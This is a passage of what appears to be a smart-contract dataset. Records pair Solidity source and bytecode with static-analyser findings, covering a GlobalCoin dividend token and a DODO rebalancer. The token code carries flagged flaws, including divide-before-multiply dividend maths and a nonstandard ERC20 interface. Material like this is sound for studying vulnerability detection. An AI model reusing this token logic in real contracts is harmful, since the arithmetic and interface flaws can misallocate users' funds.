df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220461d50d870421019a6639e77f80411b087d6381d560dea49fe724507c64bcff664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,763 |
0x4E4019c632579fB81E8c26503140aa2C9b55c065
|
pragma solidity ^0.4.8;
///address -> uint256 mapping.
library IterableMapping
{
struct IndexValue { uint keyIndex; uint value; }
struct KeyFlag { address key; bool deleted; }
struct itmap
{
mapping(address => IndexValue) data;
KeyFlag[] keys;
uint size;
}
function insert(itmap storage self, address key, uint value) internal returns (bool replaced)
{
uint keyIndex = self.data[key].keyIndex;
self.data[key].value = value;
if (keyIndex > 0)
return true;
else
{
keyIndex = self.keys.length++;
self.data[key].keyIndex = keyIndex + 1;
self.keys[keyIndex].key = key;
self.size++;
return false;
}
}
function remove(itmap storage self, address key) internal returns (bool success)
{
uint keyIndex = self.data[key].keyIndex;
if (keyIndex == 0)
return false;
delete self.data[key];
self.keys[keyIndex - 1].deleted = true;
self.size --;
}
function contains(itmap storage self, address key) internal returns (bool)
{
return self.data[key].keyIndex > 0;
}
function iterate_start(itmap storage self) internal returns (uint keyIndex)
{
return iterate_next(self, uint(-1));
}
function iterate_valid(itmap storage self, uint keyIndex) internal returns (bool)
{
return keyIndex < self.keys.length;
}
function iterate_next(itmap storage self, uint keyIndex) internal returns (uint r_keyIndex)
{
keyIndex++;
while (keyIndex < self.keys.length && self.keys[keyIndex].deleted)
keyIndex++;
return keyIndex;
}
function iterate_get(itmap storage self, uint keyIndex) internal returns (address key, uint value)
{
key = self.keys[keyIndex].key;
value = self.data[key].value;
}
}
/**
*Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint){
uint c = a * b;
assert(a == 0 || c / a ==b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
//assert(b > 0); //Solidity automatically throws when dividing by 0
uint c = a/b;
// assert(a == b * c + a% b); //There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b<=a);
return a-b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if(!assertion){
throw;
}
}
}
/**
* title ERC20 Basic
* dev Simpler version of ERC20 interface
* dev see https://github.com/ethereum/EIPs/issues/20
*
*/
contract ERC20Basic{
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* title Basic token
* dev Basic version of StandardToken, eith no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
/**
* dev Fix for eht ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4){
throw;
}
_;
}
}
/**
* title ERC20 interface
* dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* title Standard ERC20 token
*
* dev Implemantation of the basic standart token.
* dev https://github.com/ethereum/EIPs/issues/20
* dev Based on code by FirstBlood:http://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
**/
contract StandardToken is BasicToken, ERC20{
mapping (address => mapping (address => uint)) allowed;
event Burn(address from, address to, uint value);
event TransferFrom(address from, uint value);
event Dividends(address from, address to, uint value);
/**
* dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
* param _spender The address which will spend the funds.
* param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) {
//To change the approve amount you first have to reduce the addresses
// allowance to zero by calling approve(_spender, 0) if if it not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuscomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* dev Function to check the amount of token rhan an owner allowed to a spender.
* param _owner address Thr address whivh owns the funds.
* param _spender address The address which will spend the funds.
* return A uint specifing the amount of tokrns still avaible for the spender.
**/
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable(){
owner = msg.sender;
}
modifier onlyOwner(){
if(msg.sender != owner){
throw;
}
_;
}
// function transferOwnership(address newOwner) onlyOwner{
// if (newOwner != address(0)){
// owner = newOwner;
// }
// }
}
contract GlobalCoin is Ownable, StandardToken{
uint256 public decimals = 8;
string public name = "GBCToken";
string public symbol = "GBC";
uint public totalSupply = 1000000000000000;//1后面15个0 ,发行1000,0000 ,后面是00000000,对应小数点后8个0
address public dividendAddress = 0x1D33776a090a2F321FF596C0C011F2f414f3A527;//分红地址
address public burnAddress = 0x0000000000000000000000000000000000000000; //销毁GBC地址
uint256 private globalShares = 0;
mapping (address => uint256) private balances;
mapping (address => uint256) private vips;
using IterableMapping for IterableMapping.itmap;
IterableMapping.itmap public data;
using SafeMath for uint256;
modifier noEth() {
if (msg.value < 0) {
throw;
}
_;
}
function() {
// 当有人发送eth或者Token,会触发这个事件
if (msg.value > 0)
TransferFrom(msg.sender, msg.value);
}
function insert(address k, uint v) internal returns (uint size)
{
IterableMapping.insert(data, k, v);
return data.size;
}
//预计分多少红
function expectedDividends(address user) constant returns (uint Dividends){
return balances[dividendAddress] / globalShares * vips[user];
}
// //显示有多少GBC
function balanceOf(address addr) constant returns (uint balance) {
return balances[addr];
}
//显示有多少股
function yourShares(address addr) constant returns (uint shares) {
return vips[addr];
}
function transfer(address to, uint256 amount) onlyPayloadSize(2 * 32)
{
if (to == burnAddress) {
return burn(amount);
}
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[to] = balances[to].add(amount);
Transfer(msg.sender, to, amount);
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
//Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function burn (uint256 amount) //获得分红
{
if (amount >= 100000000000) {
vips[msg.sender] += amount / 100000000000;
globalShares += amount / 100000000000;
insert(msg.sender, vips[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[burnAddress] = balances[burnAddress].add(amount);
Burn(msg.sender, burnAddress, amount);
}
}
//查看全球一共多少股
function totalShares() constant returns (uint shares){
return globalShares;
}
//为每个股民发送分红
function distributeDividends() onlyOwner public noEth(){
for (var i = IterableMapping.iterate_start(data); IterableMapping.iterate_valid(data, i); i = IterableMapping.iterate_next(data, i))
{
var (key, value) = IterableMapping.iterate_get(data, i);
uint tmp = balances[dividendAddress] / globalShares * value;
balances[key] = balances[key].add(tmp);
Dividends(dividendAddress, key, tmp);
}
balances[dividendAddress] = balances[dividendAddress].sub(balances[dividendAddress] / globalShares * globalShares);
}
function GlobalCoin() onlyOwner {
balances[owner] = totalSupply;
}
}
|
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303c83302811461015657806306fdde0314610169578063095ea7b3146101f357806318160ddd1461021557806323b872dd1461023a578063313ce567146102625780633a98ef391461027557806340f3b6f11461028857806342966c68146102a7578063546d08fe146102bd5780635fad663e146102ec57806370a082311461030b57806370d5ae051461032a57806373d4a13a1461033d5780638da5cb5b1461035057806395d89b4114610363578063a9059cbb14610376578063dd62ed3e14610398575b341561010657600080fd5b6000341115610154577f58becdf9a931dd5ffd26ec2dde1ceab1683ffc0744ebd71f33267bc4406cc8473334604051600160a060020a03909216825260208201526040908101905180910390a15b005b341561016157600080fd5b6101546103bd565b341561017457600080fd5b61017c610577565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101b85780820151838201526020016101a0565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101fe57600080fd5b610154600160a060020a0360043516602435610615565b341561022057600080fd5b6102286106b6565b60405190815260200160405180910390f35b341561024557600080fd5b610154600160a060020a03600435811690602435166044356106bc565b341561026d57600080fd5b6102286107dd565b341561028057600080fd5b6102286107e3565b341561029357600080fd5b610228600160a060020a03600435166107ea565b34156102b257600080fd5b610154600435610805565b34156102c857600080fd5b6102d061092d565b604051600160a060020a03909116815260200160405180910390f35b34156102f757600080fd5b610228600160a060020a036004351661093c565b341561031657600080fd5b610228600160a060020a0360043516610981565b341561033557600080fd5b6102d061099c565b341561034857600080fd5b6102286109ab565b341561035b57600080fd5b6102d06109b1565b341561036e57600080fd5b61017c6109c0565b341561038157600080fd5b610154600160a060020a0360043516602435610a2b565b34156103a357600080fd5b610228600160a060020a0360043581169060243516610b1b565b6000805481908190819033600160a060020a039081169116146103df57600080fd5b60003410156103ed57600080fd5b6103f7600b610b46565b93505b610405600b85610b5a565b156104fd57610415600b85610b66565b600854600654600160a060020a0316600090815260096020526040902054929550909350839181151561044457fe5b600160a060020a038616600090815260096020526040902054919004919091029150610476908263ffffffff610ba716565b600160a060020a0380851660009081526009602052604090819020929092556006547f8682178a70ad8585e8609c57bdfff9d33418dd6796f86622d5f9e35278b5eb0d929116908590849051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a16104f6600b85610bbf565b93506103fa565b600854600654600160a060020a03166000908152600960205260409020546105569190819081151561052b57fe5b600654600160a060020a0316600090815260096020526040902054929190040263ffffffff610c2116565b600654600160a060020a031660009081526009602052604090205550505050565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561060d5780601f106105e25761010080835404028352916020019161060d565b820191906000526020600020905b8154815290600101906020018083116105f057829003601f168201915b505050505081565b80158015906106485750600160a060020a0333811660009081526001602090815260408083209386168352929052205415155b1561065257600080fd5b600160a060020a03338116600081815260016020908152604080832094871680845294909152908190208490557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35050565b60055481565b6000606060643610156106ce57600080fd5b600160a060020a038086166000908152600160209081526040808320338516845282528083205493881683526009909152902054909250610715908463ffffffff610ba716565b600160a060020a03808616600090815260096020526040808220939093559087168152205461074a908463ffffffff610c2116565b600160a060020a038616600090815260096020526040902055610773828463ffffffff610c2116565b600160a060020a03808716600081815260016020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a35050505050565b60025481565b6008545b90565b600160a060020a03166000908152600a602052604090205490565b64174876e800811061092a5733600160a060020a0381166000908152600a60205260409020805464174876e800840490810182556008805490910190555461084d9190610c35565b50600160a060020a033316600090815260096020526040902054610877908263ffffffff610c2116565b600160a060020a0333811660009081526009602052604080822093909355600754909116815220546108af908263ffffffff610ba716565b60078054600160a060020a03908116600090815260096020526040908190209390935590547fbac40739b0d4ca32fa2d82fc91630465ba3eddd1598da6fca393b26fb63b94539233929190911690849051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b50565b600654600160a060020a031681565b600160a060020a038082166000908152600a6020908152604080832054600854600654909516845260099092528220549192909181151561097957fe5b040292915050565b600160a060020a031660009081526009602052604090205490565b600754600160a060020a031681565b600d5481565b600054600160a060020a031681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561060d5780601f106105e25761010080835404028352916020019161060d565b60406044361015610a3b57600080fd5b600754600160a060020a0384811691161415610a5f57610a5a82610805565b610b16565b600160a060020a033316600090815260096020526040902054610a88908363ffffffff610c2116565b600160a060020a033381166000908152600960205260408082209390935590851681522054610abd908363ffffffff610ba716565b600160a060020a0380851660008181526009602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35b505050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000610b5482600019610bbf565b92915050565b60019190910154901090565b6000808360010183815481101515610b7a57fe5b6000918252602080832090910154600160a060020a03168083529590526040902060010154939492505050565b6000828201610bb884821015610c4e565b9392505050565b60010160005b600183015482108015610c0b575060018301805483908110610be357fe5b60009182526020909120015474010000000000000000000000000000000000000000900460ff165b15610c1b57600190910190610bc5565b50919050565b6000610c2f83831115610c4e565b50900390565b6000610c43600b8484610c5a565b5050600d5492915050565b80151561092a57600080fd5b600160a060020a03821660009081526020849052604081208054600190910183905581811115610c8d5760019150610d18565b6001808601805491610ca191908301610d20565b600160a060020a0385166000908152602087905260409020600180830190915586018054919250859183908110610cd457fe5b60009182526020822001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039390931692909217909155600286018054600101905591505b509392505050565b815481835581811511610b1657600083815260209020610b169181019083016107e791905b80821115610d7157805474ffffffffffffffffffffffffffffffffffffffffff19168155600101610d45565b50905600a165627a7a72305820aedfebf933713e0bc1620cc59e37db31a67cb012f6c5c003d8cf1cea2d12737d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,764 |
0xf45ce66f2b1cba1793e7c32c4f2d5ca8e566dcc7
|
// File: contracts/lib/Ownable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "INVALID_OWNER");
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IDODO.sol
/*
Copyright 2020 DODO ZOO.
*/
interface IDODO {
function init(
address owner,
address supervisor,
address maintainer,
address baseToken,
address quoteToken,
address oracle,
uint256 lpFeeRate,
uint256 mtFeeRate,
uint256 k,
uint256 gasPriceLimit
) external;
function transferOwnership(address newOwner) external;
function claimOwnership() external;
function sellBaseToken(
uint256 amount,
uint256 minReceiveQuote,
bytes calldata data
) external returns (uint256);
function buyBaseToken(
uint256 amount,
uint256 maxPayQuote,
bytes calldata data
) external returns (uint256);
function querySellBaseToken(uint256 amount) external view returns (uint256 receiveQuote);
function queryBuyBaseToken(uint256 amount) external view returns (uint256 payQuote);
function getExpectedTarget() external view returns (uint256 baseTarget, uint256 quoteTarget);
function getLpBaseBalance(address lp) external view returns (uint256 lpBalance);
function getLpQuoteBalance(address lp) external view returns (uint256 lpBalance);
function depositBaseTo(address to, uint256 amount) external returns (uint256);
function withdrawBase(uint256 amount) external returns (uint256);
function withdrawAllBase() external returns (uint256);
function depositQuoteTo(address to, uint256 amount) external returns (uint256);
function withdrawQuote(uint256 amount) external returns (uint256);
function withdrawAllQuote() external returns (uint256);
function _BASE_CAPITAL_TOKEN_() external view returns (address);
function _QUOTE_CAPITAL_TOKEN_() external view returns (address);
function _BASE_TOKEN_() external returns (address);
function _QUOTE_TOKEN_() external returns (address);
function _LP_FEE_RATE_() external returns (uint256);
function _MT_FEE_RATE_() external returns (uint256);
function _BASE_BALANCE_() external returns (uint256);
function _QUOTE_BALANCE_() external returns (uint256);
function enableTrading() external;
function disableTrading() external;
}
// File: contracts/intf/IERC20.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/*
Copyright 2020 DODO ZOO.
This is a simplified version of OpenZepplin's SafeERC20 library
*/
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/helper/DODORebalancer.sol
/*
Copyright 2020 DODO ZOO.
*/
contract DODORebalancer is Ownable {
using SafeERC20 for IERC20;
function rebalance(address dodo) external onlyOwner {
IDODO(dodo).enableTrading();
(uint256 baseTarget, ) = IDODO(dodo).getExpectedTarget();
uint256 baseBalance = IDODO(dodo)._BASE_BALANCE_();
if (baseTarget<baseBalance) {
uint256 amount = baseBalance-baseTarget;
amount = amount*1e18/(1e18+IDODO(dodo)._LP_FEE_RATE_()+IDODO(dodo)._MT_FEE_RATE_());
uint256 expectedPay = IDODO(dodo).queryBuyBaseToken(amount);
IERC20(IDODO(dodo)._QUOTE_TOKEN_()).safeApprove(dodo, expectedPay);
IDODO(dodo).buyBaseToken(amount, expectedPay, "");
} else {
uint256 amount = baseTarget-baseBalance;
uint256 expectedReceive = IDODO(dodo).querySellBaseToken(amount);
IERC20(IDODO(dodo)._BASE_TOKEN_()).safeApprove(dodo, amount);
IDODO(dodo).sellBaseToken(amount, expectedReceive, "");
}
IDODO(dodo).disableTrading();
}
function retrieve(address token) external onlyOwner {
IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
function retrieveEth(uint256 amount) external onlyOwner {
msg.sender.transfer(amount);
}
function claimOwnership(address dodo) external onlyOwner{
IDODO(dodo).claimOwnership();
}
function transferOwnership(address dodo, address to) external onlyOwner{
IDODO(dodo).transferOwnership(to);
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80636d435421116100665780636d435421146100e65780638456db15146100f9578063da92d3ae14610101578063df5f060314610114578063f2fde38b1461012757610093565b80630a79309b1461009857806316048bc4146100ad57806321c28191146100cb5780634e71e0c8146100de575b600080fd5b6100ab6100a6366004610c55565b61013a565b005b6100b5610207565b6040516100c29190610d78565b60405180910390f35b6100ab6100d9366004610c55565b610216565b6100ab6107cb565b6100ab6100f4366004610c94565b610859565b6100b56108e5565b6100ab61010f366004610c55565b6108f4565b6100ab610122366004610cec565b610974565b6100ab610135366004610c55565b6109cf565b6000546001600160a01b0316331461016d5760405162461bcd60e51b815260040161016490610e42565b60405180910390fd5b61020433826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161019d9190610d78565b60206040518083038186803b1580156101b557600080fd5b505afa1580156101c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ed9190610d04565b6001600160a01b038416919063ffffffff610a7a16565b50565b6000546001600160a01b031681565b6000546001600160a01b031633146102405760405162461bcd60e51b815260040161016490610e42565b806001600160a01b0316638a8c523c6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561027b57600080fd5b505af115801561028f573d6000803e3d6000fd5b505050506000816001600160a01b031663ffa642256040518163ffffffff1660e01b8152600401604080518083038186803b1580156102cd57600080fd5b505afa1580156102e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103059190610d1c565b5090506000826001600160a01b031663eab5d20e6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561034557600080fd5b505af1158015610359573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061037d9190610d04565b90508082101561062a5760008282039050836001600160a01b031663c0ffa1786040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156103c957600080fd5b505af11580156103dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104019190610d04565b846001600160a01b031663ab44a7a36040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561043c57600080fd5b505af1158015610450573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104749190610d04565b670de0b6b3a7640000010181670de0b6b3a7640000028161049157fe5b0490506000846001600160a01b03166318c0bbe4836040518263ffffffff1660e01b81526004016104c29190610f05565b60206040518083038186803b1580156104da57600080fd5b505afa1580156104ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105129190610d04565b90506105a28582876001600160a01b031663d4b970466040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561055457600080fd5b505af1158015610568573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058c9190610c78565b6001600160a01b0316919063ffffffff610ad516565b60405163733e738360e11b81526001600160a01b0386169063e67ce706906105d09085908590600401610f0e565b602060405180830381600087803b1580156105ea57600080fd5b505af11580156105fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106229190610d04565b505050610773565b6040516351400f0b60e11b8152818303906000906001600160a01b0386169063a2801e169061065d908590600401610f05565b60206040518083038186803b15801561067557600080fd5b505afa158015610689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ad9190610d04565b90506106ef8583876001600160a01b0316634a248d2a6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561055457600080fd5b604051638dae733360e01b81526001600160a01b03861690638dae73339061071d9085908590600401610f0e565b602060405180830381600087803b15801561073757600080fd5b505af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f9190610d04565b5050505b826001600160a01b03166317700f016040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156107ae57600080fd5b505af11580156107c2573d6000803e3d6000fd5b50505050505050565b6001546001600160a01b031633146107f55760405162461bcd60e51b815260040161016490610dbf565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031633146108835760405162461bcd60e51b815260040161016490610e42565b60405163f2fde38b60e01b81526001600160a01b0383169063f2fde38b906108af908490600401610d78565b600060405180830381600087803b1580156108c957600080fd5b505af11580156108dd573d6000803e3d6000fd5b505050505050565b6001546001600160a01b031681565b6000546001600160a01b0316331461091e5760405162461bcd60e51b815260040161016490610e42565b806001600160a01b0316634e71e0c86040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561095957600080fd5b505af115801561096d573d6000803e3d6000fd5b5050505050565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161016490610e42565b604051339082156108fc029083906000818181858888f193505050501580156109cb573d6000803e3d6000fd5b5050565b6000546001600160a01b031633146109f95760405162461bcd60e51b815260040161016490610e42565b6001600160a01b038116610a1f5760405162461bcd60e51b815260040161016490610e1b565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b610ad08363a9059cbb60e01b8484604051602401610a99929190610da6565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610b98565b505050565b801580610b5d5750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90610b0b9030908690600401610d8c565b60206040518083038186803b158015610b2357600080fd5b505afa158015610b37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5b9190610d04565b155b610b795760405162461bcd60e51b815260040161016490610eaf565b610ad08363095ea7b360e01b8484604051602401610a99929190610da6565b60006060836001600160a01b031683604051610bb49190610d3f565b6000604051808303816000865af19150503d8060008114610bf1576040519150601f19603f3d011682016040523d82523d6000602084013e610bf6565b606091505b509150915081610c185760405162461bcd60e51b815260040161016490610de6565b805115610c4f5780806020019051810190610c339190610ccc565b610c4f5760405162461bcd60e51b815260040161016490610e65565b50505050565b600060208284031215610c66578081fd5b8135610c7181610f2b565b9392505050565b600060208284031215610c89578081fd5b8151610c7181610f2b565b60008060408385031215610ca6578081fd5b8235610cb181610f2b565b91506020830135610cc181610f2b565b809150509250929050565b600060208284031215610cdd578081fd5b81518015158114610c71578182fd5b600060208284031215610cfd578081fd5b5035919050565b600060208284031215610d15578081fd5b5051919050565b60008060408385031215610d2e578182fd5b505080516020909101519092909150565b60008251815b81811015610d5f5760208186018101518583015201610d45565b81811115610d6d5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600d908201526c24a72b20a624a22fa7aba722a960991b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526036908201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60408201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b606082015260800190565b90815260200190565b918252602082015260606040820181905260009082015260800190565b60